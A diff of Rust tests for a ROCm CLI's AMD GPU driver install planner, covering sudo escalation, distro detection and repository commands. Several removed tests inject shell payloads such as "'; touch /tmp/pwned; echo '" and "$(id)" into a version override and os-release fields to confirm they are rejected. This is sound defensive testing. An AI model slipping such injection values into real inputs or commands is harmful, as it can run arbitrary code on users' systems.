"ROCM_CLI_AMDGPU_DRIVER_VERSION", - "'; touch /tmp/pwned; echo '", - ); - let read = rocm_core::hardware_root::OsRelease::Unreadable { - path: "/usr/lib/os-release", - error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), - }; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &read, - true, - PrivilegeEscalation::Sudo, - ); - assert!(!plan.supported); - assert_eq!(plan.policy, "invalid_driver_version_override"); - assert!( - !plan.mutating, - "a refused override must not claim to mutate" - ); - assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); - assert!(plan.commands.is_empty()); - } - - /// The same malformed line as - /// [`an_unreadable_os_release_names_its_line_and_plans_nothing`], but read - /// through the fallback path: the reason must name `/usr/lib/os-release`, - /// not `/etc/os-release`. That test only exercises - /// [`os_release_found`]'s hardcoded `/etc/os-release` path, so a - /// regression that hardcoded the path back into - /// `build_driver_install_plan_read` would still pass it. - #[test] - fn a_fallback_reads_malformed_line_names_the_fallback_path() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let read = rocm_core::hardware_root::OsRelease::Found { - path: "/usr/lib/os-release", - text: "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\nunset ID\n".to_owned(), - }; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &read, - true, - PrivilegeEscalation::Sudo, - ); - assert_eq!( - plan.reason, - "/usr/lib/os-release line 4 is not a plain assignment: \"unset ID\"; no driver \ - commands were planned because the distro cannot be read. To fix it, remove \ - that line or rewrite it as NAME=value." - ); - assert!(!plan.supported); - assert!(plan.commands.is_empty(), "{:?}", plan.commands); - assert_eq!(plan.policy, "unreadable_os_release"); - } - - /// On WSL, `build_driver_install_plan_read`'s `Unreadable` branch must - /// not fire at all: WSL has its own guest-side os-release probe (see - /// `examine/wsl.rs`'s `WSL_REMOTE_PROBE`), so the local Rust-side read this - /// function receives is never authoritative for a WSL host, and the plan - /// must stay the ordinary `wsl_rocdxg` one — not `unreadable_os_release` — - /// regardless of what it says. Without the `reaches_os_release_parse` - /// guard this would plan nothing on a WSL host whose local read happens - /// to come back `Unreadable`, even though the guest-side probe may read - /// the distro just fine. - #[test] - fn a_wsl_host_ignores_an_unreadable_local_os_release_read() { - let _env = scoped_rocdxg_env(); - let read = rocm_core::hardware_root::OsRelease::Unreadable { - path: "/usr/lib/os-release", - error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), - }; - let plan = build_driver_install_plan_read( - &test_examine("linux", true), - &read, - true, - PrivilegeEscalation::Sudo, - ); - assert_eq!(plan.policy, "wsl_rocdxg"); - assert!(plan.supported); - assert!(plan.mutating); - } - - /// The Windows half of the same `reaches_os_release_parse` guard: a - /// native Windows host's driver install is `windows_validate_only` - /// regardless of what the local read says, since the Linux driver - /// install this plan guards is never attempted there. Without this half - /// of the guard, a Windows host whose `real_os_release()` happens to come - /// back `Unreadable` would wrongly take the Linux-only - /// `unreadable_os_release` policy instead. - #[test] - fn a_windows_host_ignores_an_unreadable_local_os_release_read() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let read = rocm_core::hardware_root::OsRelease::Unreadable { - path: "/usr/lib/os-release", - error: std::io::Error::new(std::io::ErrorKind::PermissionDenied, "denied"), - }; - let plan = build_driver_install_plan_read( - &test_examine("windows", false), - &read, - true, - PrivilegeEscalation::Sudo, - ); - assert_eq!(plan.policy, "windows_validate_only"); - assert!(!plan.supported); - assert!(!plan.mutating); - } - - /// With a duplicated key, the plan is built from the last assignment — the - /// one a shell keeps, and the one `rocm examine` reports, since both read - /// through `rocm_core::os_release`. - #[test] - fn a_duplicated_os_release_key_is_planned_from_its_last_assignment() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let text = "ID=debian\nVERSION_ID=\"12\"\nID=ubuntu\nVERSION_ID=\"24.04\"\n\ - VERSION_CODENAME=noble\n"; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(text), - true, - PrivilegeEscalation::Sudo, - ); - assert_eq!( - (plan.os_id.as_str(), plan.version_id.as_str()), - ("ubuntu", "24.04"), - "planned for the first assignment instead of the last" - ); - assert!(plan.supported, "{}", plan.reason); - } - - #[test] - fn driver_plan_as_root_never_emits_sudo() { - // The defect: every command was prefixed `sudo` unconditionally, so on a - // root host without the binary the first one died with `sudo: not found` - // before any driver work. This asserts the ABSENCE of `sudo` across every - // distro rather than checking known commands one by one — a templating - // site missed on some distro fails here instead of shipping. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - for (label, os_release) in dkms_planning_os_releases() { - let commands = plan_commands(os_release, PrivilegeEscalation::AlreadyRoot); - assert!( - !commands.is_empty(), - "{label}: expected a dkms plan to emit commands" - ); - for command in &commands { - assert!( - !command.contains("sudo"), - "{label}: a plan built as root must not invoke sudo, got `{command}`" - ); - } - } - } - - #[test] - fn driver_plan_off_root_still_escalates_every_privileged_command() { - // The other half of the contract: dropping `sudo` when root must not drop - // it when a normal user runs the same plan. Verify-phase commands are - // read-only probes and are deliberately unprivileged, so only the - // mutating phases are required to escalate. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - for (label, os_release) in dkms_planning_os_releases() { - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let privileged: Vec<&DriverPlanCommand> = plan - .commands - .iter() - .filter(|command| { - matches!( - command.phase, - DriverCommandPhase::Prepare | DriverCommandPhase::Execute - ) - }) - .collect(); - assert!(!privileged.is_empty(), "{label}: expected privileged steps"); - for command in privileged { - assert!( - command.command.contains("sudo "), - "{label}: a plan built off root must escalate, got `{}`", - command.command - ); - } - } - } - - #[test] - fn driver_plan_as_root_keeps_shell_pipelines_intact() { - // `sudo` also appears mid-pipeline (`| sudo tee`, `| sudo gpg`), which a - // naive "strip a leading prefix" fix would miss. The pipeline must survive - // with the escalation removed from the right-hand side only. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; - let commands = plan_commands(ubuntu, PrivilegeEscalation::AlreadyRoot); - assert!( - commands - .iter() - .any(|command| command.contains("| tee /etc/apt/sources.list.d/amdgpu.list")), - "the apt-source pipeline must still tee, unprefixed: {commands:?}" - ); - assert!( - commands.iter().any(|command| command - .contains("| gpg --batch --yes --dearmor -o /etc/apt/keyrings/rocm.gpg")), - "the keyring pipeline must still call gpg, unprefixed: {commands:?}" - ); - } - - #[test] - fn driver_plan_records_the_commands_it_will_actually_run() { - // `execution_commands()` is what lands in state.json. It must agree with - // the escalation the plan was built under, or the recorded history - // describes commands that never ran. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let ubuntu = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; - let as_root = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(ubuntu), - true, - PrivilegeEscalation::AlreadyRoot, - ); - assert!( - as_root - .execution_commands() - .iter() - .all(|command| !command.contains("sudo")), - "state.json must not record sudo commands for a root run" - ); - let off_root = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(ubuntu), - true, - PrivilegeEscalation::Sudo, - ); - assert!( - off_root - .execution_commands() - .iter() - .all(|command| command.contains("sudo ")), - "state.json must record the sudo commands a non-root run performs" - ); - } - - #[test] - fn driver_plan_as_root_drops_the_sudo_binary_precondition() { - // The preflight claimed `sudo` must be installed even when the plan no - // longer uses it — the same contradiction the bug report called out - // between the stated preconditions and what execution actually did. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - for (label, os_release) in dkms_planning_os_releases() { - let as_root = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::AlreadyRoot, - ); - assert!( - !as_root - .preflight_checks - .iter() - .any(|check| check.contains("`sudo` command is available")), - "{label}: a root plan must not require a sudo binary: {:?}", - as_root.preflight_checks - ); - let off_root = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - assert!( - off_root - .preflight_checks - .iter() - .any(|check| check.contains("`sudo` command is available")), - "{label}: a non-root plan still depends on a sudo binary" - ); - } - } - - #[test] - fn driver_plan_dry_run_repo_version_line_is_resolved() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Regression for the dry-run output leaking the wrong field (or, under - // the old shell-template scheme this replaced, a raw unresolved - // placeholder) on the `repo_version:` line instead of the version the - // plan actually resolved. - let os_release = r#" -ID=rhel -VERSION_ID="9.7" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(rendered.contains(" repo_version: latest"), "{rendered}"); - } - - #[test] - fn driver_plan_ubuntu_2404_uses_official_dkms_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let commands = plan - .commands - .iter() - .map(|command| command.command.as_str()) - .collect::>(); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - assert!( - plan.preflight_checks - .iter() - .any(|check| check.contains("sudo -v")) - ); - assert!( - commands - .iter() - .any(|command| command.contains("linux-headers-$(uname -r)")) - ); - assert!( - commands - .iter() - .any(|command| command.contains("linux-modules-extra-$(uname -r)")) - ); - assert!( - commands - .iter() - .any(|command| command.contains("repo.radeon.com/amdgpu")) - ); - assert!( - commands - .iter() - .any(|command| command.contains("amdgpu-dkms")) - ); - let rendered = render_driver_install_plan(&plan, false, false); - assert!(rendered.contains("approval: required")); - assert!(rendered.contains("preflight_checks:")); - assert!(rendered.contains("root access: run as root, or ensure `sudo -v` succeeds")); - assert!(rendered.contains("execution_commands:")); - assert!(rendered.contains("Prepare: sudo apt-get update")); - assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); - assert!(rendered.contains("post_reboot_check_commands:")); - assert!(rendered.contains("dkms status amdgpu")); - assert!(rendered.contains("rerun with --yes")); - } - - #[test] - fn driver_plan_executor_runs_verify_after_execute() -> Result<()> { - let mut plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); - plan.commands = vec![ - driver_command(DriverCommandPhase::Prepare, "prepare"), - driver_command(DriverCommandPhase::Execute, "execute"), - driver_command(DriverCommandPhase::Verify, "verify"), - ]; - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: None, - pre_driver: test_examine("linux", true).driver, - post_driver: None, - boot_id_at_execution: Some("boot".to_owned()), - reboot_required: plan.reboot_required, - reboot_observed: false, - commands: plan.execution_commands(), - reconciled_at_unix_ms: None, - reconciliation: None, - }; - let mut observed = Vec::new(); - - execute_driver_install_plan( - &plan, - &mut state, - |command| { - observed.push(command.to_owned()); - Ok(()) - }, - |_| Ok(()), - || Ok(test_examine("linux", true).driver), - )?; - - assert_eq!(observed, ["prepare", "execute", "verify"]); - assert!(state.executed_at_unix_ms.is_some()); - Ok(()) - } - - #[test] - fn driver_plan_executor_defers_verify_when_reboot_is_required() -> Result<()> { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found("ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"), - true, - PrivilegeEscalation::Sudo, - ); - assert!(plan.reboot_required); - let expected = plan.execution_commands(); - let verify_commands = plan - .commands - .iter() - .filter(|command| command.phase == DriverCommandPhase::Verify) - .map(|command| command.command.clone()) - .collect::>(); - let mut state = DriverInstallState { - approved_at_unix_ms: 1, - executed_at_unix_ms: None, - pre_driver: test_examine("linux", false).driver, - post_driver: None, - boot_id_at_execution: Some("boot".to_owned()), - reboot_required: plan.reboot_required, - reboot_observed: false, - commands: plan.execution_commands(), - reconciled_at_unix_ms: None, - reconciliation: None, - }; - let mut observed = Vec::new(); + assert!(plan.reboot_required); + let expected = plan.execution_commands(); + let verify_commands = plan + .commands + .iter() + .filter(|command| command.phase == DriverCommandPhase::Verify) + .map(|command| command.command.clone()) + .collect::>(); + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: None, + pre_driver: test_examine("linux", false).driver, + post_driver: None, + boot_id_at_execution: Some("boot".to_owned()), + reboot_required: plan.reboot_required, + reboot_observed: false, + commands: plan.execution_commands(), + reconciled_at_unix_ms: None, + reconciliation: None, + }; + let mut observed = Vec::new(); execute_driver_install_plan( &plan, @@ -2138,423 +657,10 @@ VERSION_CODENAME=noble } #[test] - fn driver_plan_ubuntu_2604_plans_the_dkms_flow_with_the_resolute_suite() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="26.04" -VERSION_CODENAME=resolute -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); + fn driver_reconcile_without_state_gives_non_privileged_guidance() -> Result<()> { + let (root, paths) = test_paths("driver-reconcile-empty"); - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - assert_eq!(plan.codename, "resolute"); - assert!(rendered.contains("https://repo.radeon.com/amdgpu/latest/ubuntu resolute main")); - assert!(rendered.contains("Execute: sudo apt-get install -y amdgpu-dkms")); - assert!(plan.reboot_required); - } - - #[test] - fn driver_plan_ubuntu_2604_root_drops_sudo() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="26.04" -VERSION_CODENAME=resolute -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::AlreadyRoot, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(rendered.contains("Execute: apt-get install -y amdgpu-dkms")); - assert!(plan.commands.iter().all(|c| !c.command.contains("sudo"))); - } - - #[test] - fn driver_plan_ubuntu_2604_falls_back_to_resolute_codename() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // No VERSION_CODENAME/UBUNTU_CODENAME in os-release: codename_for_version - // must supply "resolute" on its own. - let os_release = r#" -ID=ubuntu -VERSION_ID="26.04" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.codename, "resolute"); - assert!(plan.supported); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - } - - #[test] - fn driver_plan_apt_warns_about_a_previous_amdgpu_dkms_without_removing_it() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let first = &plan - .commands - .first() - .expect("apt plan has commands") - .command; - - // Detection runs before anything else, and only echoes: removal stays - // the user's call. Behavior is proven end to end by running the - // command against a stubbed dpkg-query in - // `previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed`. - assert!(first.contains("dpkg-query")); - assert!(first.contains("sudo apt-get autoremove -y amdgpu-dkms")); - assert!( - !plan - .commands - .iter() - .skip(1) - .any(|c| c.command.contains("autoremove")) - ); - assert!(plan.reason.contains("only warns")); - assert!(first.contains("continuing anyway")); - assert!( - !plan - .preflight_checks - .iter() - .any(|check| check.contains("amdgpu-dkms")) - ); - } - - #[cfg(unix)] - #[test] - fn previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed() { - use std::os::unix::fs::PermissionsExt; - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n"; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::AlreadyRoot, - ); - let command = &plan.commands[0].command; - let dir = tempfile::tempdir().unwrap(); - let root = dir.path().to_path_buf(); - let run = |status: &str| { - let stub = root.join("dpkg-query"); - fs::write(&stub, format!("#!/bin/sh\nprintf '%s' '{status}'\n")).unwrap(); - fs::set_permissions(&stub, fs::Permissions::from_mode(0o755)).unwrap(); - let out = ProcessCommand::new("sh") - .args(["-c", command]) - .env("PATH", format!("{}:/usr/bin:/bin", root.display())) - .output() - .unwrap(); - assert!(out.status.success()); - String::from_utf8_lossy(&out.stdout).into_owned() - }; - assert!(run("install ok installed").contains("warning: amdgpu-dkms")); - assert!(run("").is_empty()); - } - - #[cfg(unix)] - #[test] - fn driver_plan_rejects_a_non_utf8_version_override() { - // `std::env::var` reports a non-UTF-8 value as `Err(VarError::NotUnicode)`, - // which `resolve_repo_version_expr` must not fold into the - // `NotPresent`/empty "unset" case -- that would silently use "latest" - // for a user who explicitly set this to something. - use std::os::unix::ffi::OsStrExt; - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let invalid = std::ffi::OsStr::from_bytes(&[0x66, 0xFF, 0x66]); - #[allow(unsafe_code)] // std::env::set_var is unsafe in edition 2024 - unsafe { - std::env::set_var("ROCM_CLI_AMDGPU_DRIVER_VERSION", invalid); - } - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert!(!plan.supported); - assert_eq!(plan.policy, "invalid_driver_version_override"); - assert!( - !plan.mutating, - "a refused override must not claim to mutate" - ); - assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); - assert!(plan.commands.is_empty()); - } - - #[test] - fn driver_plan_rejects_shell_metacharacters_in_version_override() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set( - "ROCM_CLI_AMDGPU_DRIVER_VERSION", - "'; touch /tmp/pwned; echo '", - ); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert!(!plan.supported); - assert_eq!(plan.policy, "invalid_driver_version_override"); - assert!( - !plan.mutating, - "a refused override must not claim to mutate" - ); - assert!(plan.reason.contains("ROCM_CLI_AMDGPU_DRIVER_VERSION")); - // Already proves no command can contain "pwned": a vacuous check over - // commands would be redundant with this. - assert!(plan.commands.is_empty()); - } - - #[test] - fn driver_plan_rejects_a_space_free_shell_injection_payload() { - // The metacharacter test above uses a payload full of spaces, which - // `is_safe_shell_token` already rejects on its own -- so it proves - // nothing about whether `$`, backticks, or `()` are actually in the - // denylist. Use a payload with no spaces at all so the rejection can - // only come from the metacharacters themselves. - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "$(id)"); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert!(!plan.supported); - assert_eq!(plan.policy, "invalid_driver_version_override"); - assert!( - !plan.mutating, - "a refused override must not claim to mutate" - ); - assert!(plan.commands.is_empty()); - } - - #[test] - fn driver_plan_treats_empty_version_override_as_unset() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", ""); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_ne!(plan.policy, "invalid_driver_version_override"); - assert_eq!(plan.repo_version_expr, "latest"); - } - - #[test] - fn driver_plan_accepts_a_valid_version_override_and_uses_it_in_the_url() { - let mut env = ScopedTestEnv::with_amd_overrides_cleared(); - env.set("ROCM_CLI_AMDGPU_DRIVER_VERSION", "30.10"); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert_eq!(plan.repo_version_expr, "30.10"); - assert!(rendered.contains("amdgpu/30.10/")); - } - - #[test] - fn driver_plan_falls_back_on_a_hostile_codename() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME='; touch /tmp/pwned; echo ' -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.codename, "noble"); - assert!( - plan.commands - .iter() - .all(|command| !command.command.contains("pwned")) - ); - } - - #[test] - fn driver_plan_falls_back_on_a_malformed_version_id() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04'; touch /tmp/pwned; echo '" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.version_id, ""); - assert!(!plan.supported); - assert!( - plan.commands - .iter() - .all(|command| !command.command.contains("pwned")) - ); - } - - #[test] - fn driver_plan_falls_back_on_a_space_free_hostile_codename() { - // The payload above is full of spaces, which `is_safe_shell_token` - // already rejects on its own -- it proves nothing about whether the - // metacharacters themselves are denylisted. Use a space-free payload - // so rejection can only come from the metacharacters. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Single-quoted so the os-release parser (which refuses an unquoted - // `$`/`(`/`)` outright, making the whole file unreadable rather than - // just this field) accepts the line and hands `$(id)` to - // `is_safe_shell_token` to reject on its own merits. - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME='$(id)' -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.codename, "noble"); - assert!( - plan.commands - .iter() - .all(|command| !command.command.contains("$(id)")) - ); - } - - #[test] - fn driver_plan_falls_back_on_a_space_free_malformed_version_id() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Single-quoted for the same reason as the codename test above: a - // bare/double-quoted `$(id)` makes the whole os-release file - // unreadable, which would pass this test's assertions (empty - // version_id, unsupported) without ever reaching `is_safe_shell_token`. - let os_release = r" -ID=ubuntu -VERSION_ID='$(id)' -VERSION_CODENAME=noble -"; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.version_id, ""); - assert!(!plan.supported); - assert!( - plan.commands - .iter() - .all(|command| !command.command.contains("$(id)")) - ); - } - - #[test] - fn driver_plan_falls_back_on_a_space_free_hostile_os_id() { - // Closes the gap where `os_id`'s `is_safe_shell_token` filter (the - // `field("ID").filter(...)` call above `codename_for_version`) had no - // dedicated test at all: deleting that filter left every other test - // green, since none of them feed a hostile `ID` value. - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID='$(id)' -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - - assert_eq!(plan.os_id, ""); - assert_eq!(plan.policy, "unsupported_linux_dkms_plan"); - assert!(!plan.supported); - assert!( - plan.commands - .iter() - .all(|command| !command.command.contains("$(id)")) - ); - } - - #[test] - fn driver_reconcile_without_state_gives_non_privileged_guidance() -> Result<()> { - let (root, paths) = test_paths("driver-reconcile-empty"); - - let rendered = reconcile_driver_install(&paths)?; + let rendered = reconcile_driver_install(&paths)?; assert!(rendered.contains("driver install reconciliation")); assert!(rendered.contains("approval: not required")); @@ -2708,1030 +814,47 @@ VERSION_CODENAME=noble } #[test] - fn driver_plan_default_linux_preflight_has_no_execution_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ubuntu -VERSION_ID="24.04" -VERSION_CODENAME=noble -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - false, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(!plan.mutating); - assert!(plan.commands.is_empty()); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("execution_commands: ")); - assert!(!rendered.contains("sudo apt-get")); - assert!(rendered.contains("add --dkms")); - } - - #[test] - fn driver_plan_debian_12_omits_linux_modules_extra() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=debian -VERSION_ID="12" -VERSION_CODENAME=bookworm -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(plan.supported); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("linux-headers-$(uname -r)")); - assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); - assert!(rendered.contains("amdgpu-dkms")); - assert!(rendered.contains("dry run only")); - } - - #[test] - fn driver_plan_rhel_97_uses_documented_dnf_commands() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=rhel -VERSION_ID="9.7" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!(plan.mutating); - assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); - assert!(rendered.contains("`dnf` package manager is available")); - assert!(rendered.contains("kernel-headers-$(uname -r)")); - assert!(rendered.contains("kernel-devel-$(uname -r)")); - assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/rhel/9.7/main/x86_64") - ); - assert!(rendered.contains("gpgcheck=1")); - assert!(rendered.contains("/etc/yum.repos.d/amdgpu.repo")); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); - assert!(rendered.contains("approval: required")); - } - - #[test] - fn driver_plan_oracle_linux_101_uses_el_10_uek_flow() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=ol -VERSION_ID="10.1" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, true); - - assert!(plan.supported); - assert!(rendered.contains("approval: not required")); - assert!(rendered.contains("kernel-uek-devel-$(uname -r)")); - // `rpm --import` is pushed once after the distro-specific match, not - // inside the RHEL/Generic arm -- Oracle's flow must get it too. - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/10/main/x86_64") - ); - assert!(rendered.contains("dry run only")); + fn approving_an_unsupported_plan_is_an_error_but_not_a_dry_run_or_windows() { + let mut plan = unsupported_test_plan(); + assert!(approval_of_unsupported_plan(&plan, true, false)); + assert!(!approval_of_unsupported_plan(&plan, false, false)); + assert!(!approval_of_unsupported_plan(&plan, true, true)); + plan.policy = "windows_validate_only".to_owned(); + assert!(!approval_of_unsupported_plan(&plan, true, false)); + plan.policy = "x".to_owned(); + plan.supported = true; + assert!(!approval_of_unsupported_plan(&plan, true, false)); } - #[test] - fn driver_plan_rocky_97_uses_el_dnf_flow() { - let _env = ScopedTestEnv::with_amd_overrides_cleared(); - let os_release = r#" -ID=rocky -VERSION_ID="9.7" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), - true, - PrivilegeEscalation::Sudo, - ); - let rendered = render_driver_install_plan(&plan, false, false); - - assert!(plan.supported); - assert!( - rendered - .contains("sudo dnf install -y kernel-headers kernel-devel kernel-devel-matched") - ); - // Rocky is `Generic`, not `Rhel`, in `DnfDriverDistro` -- confirms the - // `rpm --import` push is unconditional across the dnf match arms, not - // only wired for the `Rhel`/`Oracle` arms the other two tests cover. - assert!(rendered.contains("sudo rpm --import https://repo.radeon.com/rocm/rocm.gpg.key")); - assert!( - rendered.contains("baseurl=https://repo.radeon.com/amdgpu/latest/el/9.7/main/x86_64") - ); - assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + fn unsupported_test_plan() -> DriverInstallPlan { + invalid_driver_version_override_plan("x".to_owned()) } + /// The gate behind "installs nothing on Windows": approval does not make a + /// Windows plan execute, while the same flags do execute a supported, + /// mutating plan, so the assertion cannot pass by always returning false. #[test] - fn driver_plan_rocky_94_uses_el_dnf_flow() { + fn should_execute_never_runs_a_windows_plan() { let _env = ScopedTestEnv::with_amd_overrides_cleared(); - // Rocky 9.x point releases must resolve like RHEL 9.x, not just 9.7. - let os_release = r#" -ID=rocky -VERSION_ID="9.4" -"#; - let plan = build_driver_install_plan_read( - &test_examine("linux", false), - &os_release_found(os_release), + let windows = 